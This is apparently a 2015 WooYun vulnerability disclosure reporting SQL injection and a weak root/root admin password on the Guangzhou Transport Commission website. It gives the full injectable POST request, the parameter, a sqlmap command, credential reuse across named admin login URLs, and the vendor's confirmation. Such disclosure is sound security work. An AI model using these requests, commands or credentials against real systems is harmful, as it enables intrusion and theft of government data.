当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0131570

漏洞标题:广州市交通委员会存在SQL注入以及后台管理弱口令(大量密码信息泄露)

相关厂商:广州市交通委员会

漏洞作者: ㄚ冷的微笑

提交时间:2015-08-05 15:45

修复时间:2015-09-20 11:06

公开时间:2015-09-20 11:06

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:16

漏洞状态:已交由第三方合作机构(广东省信息安全测评中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-05: 细节已通知厂商并且等待厂商处理中
2015-08-06: 厂商已经确认,细节仅向厂商公开
2015-08-16: 细节向核心白帽子及相关领域专家公开
2015-08-26: 细节向普通白帽子公开
2015-09-05: 细节向实习白帽子公开
2015-09-20: 细节向公众公开

简要描述:

1. 广州市交通委员会存在SQL注入,sa權限,資料庫可以打包下載,包含多個後臺管理密碼
2. 后台管理弱口令

详细说明:

http://www.gzjt.gov.cn

back1.jpg


利用弱点密码进入管理后台,发现后台有sql injection后,打包数据库并且发现其它多处后台的账号密码。

漏洞证明:

1. 发现春运后台管理弱密码,root/root可登入。
http://www.gzjt.gov.cn/ChunYun/System/Login.aspx

back2.jpg


back3.jpg


2. 发现后台有sql injection

sql1.jpg


post参数TextBox1有sql injection漏洞,权限是sa,数据库可以全打包下载,包含其他管理接口的密码。
http://www.gzjt.gov.cn:80/ChunYun/System/Module/News/News_List.aspx?Type_ID=2
(POST)
__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=/wEPDwUIMzEyNzk2NjQPFgQeBlR5cGVJRAUBMh4KQWxsX1R5cGVJRAUBMhYCAgMPZBYGAgEPEA8WBh4NRGF0YVRleHRGaWVsZAUIUm9sZU5hbWUeDkRhdGFWYWx1ZUZpZWxkBQZSb2xlSUQeC18hRGF0YUJvdW5kZ2QQFREPLS0t6K%2B36YCJ5oupLS0t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KdkM3aAgKumv%2B2BwKumuefBAKln/PuCgKgt7D9CgLLx9PKBQKM54rGBgK7q7GGCALWlM%2BbAgKF2fXbAwKfhbWoCwLpyITLBQKSzcGWAgKTzcGWAgKUzcGWAgKqv4TLBQLxxL%2BWAgL0xL%2BWAgLzxL%2BWAgLnt4TLBQLQm72WAgLNm72WAgLOm72WAgKo8ITLBQKvlcyWAgKulcyWAgKtlcyWAgLd6oTLBQKG6smWAgKH6smWAgKI6smWAgKe4YTLBQLl4ceWAgLo4ceWAgLn4ceWAgLb2YTLBQLkt8WWAgLht8WWAgLit8WWAgKckoXLBQLDstSWAgLCstSWAgLBstSWAgLKzvGdDALlt4%2BzBgKU/LXzBwvwd8Ll8Q7gZJdKsAzyBYPuPT3bjVJtR/GAFzBir/lM&TextBox1=tet&dropType=0&TxtWritdate=&TxtWritdate2=&btnSearch=%E6%9F%A5%E8%AF%A2


sqlmap.py -r www.gzjt.gov.cn_ChunYun.txt -p TextBox1 -v 3  --dbms=mssql


sql2.jpg


sql3.jpg


sql4.jpg


sql5.jpg


sql7g.jpg


3. 发现多个其他管理后台网址,使用从sql injection取得的密码可以登入:
http://www.gzjt.gov.cn/gzjt/Admin/Login.aspx
http://www.gzjt.gov.cn/gzjtsdljweb/Admin/Login.aspx
http://www.gzjt.gov.cn/gcxxweb/Admin/Login.aspx

sql6.jpg

修复方案:

大牛比我懂

版权声明:转载请注明来源 ㄚ冷的微笑@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-08-06 11:05

厂商回复:

非常感谢您的报告。
报告中的问题已确认并复现.
影响的数据:高
攻击成本:低
造成影响:高
综合评级为:高,rank:12
正在联系相关网站管理单位处置。

最新状态:

暂无


漏洞评价:

评论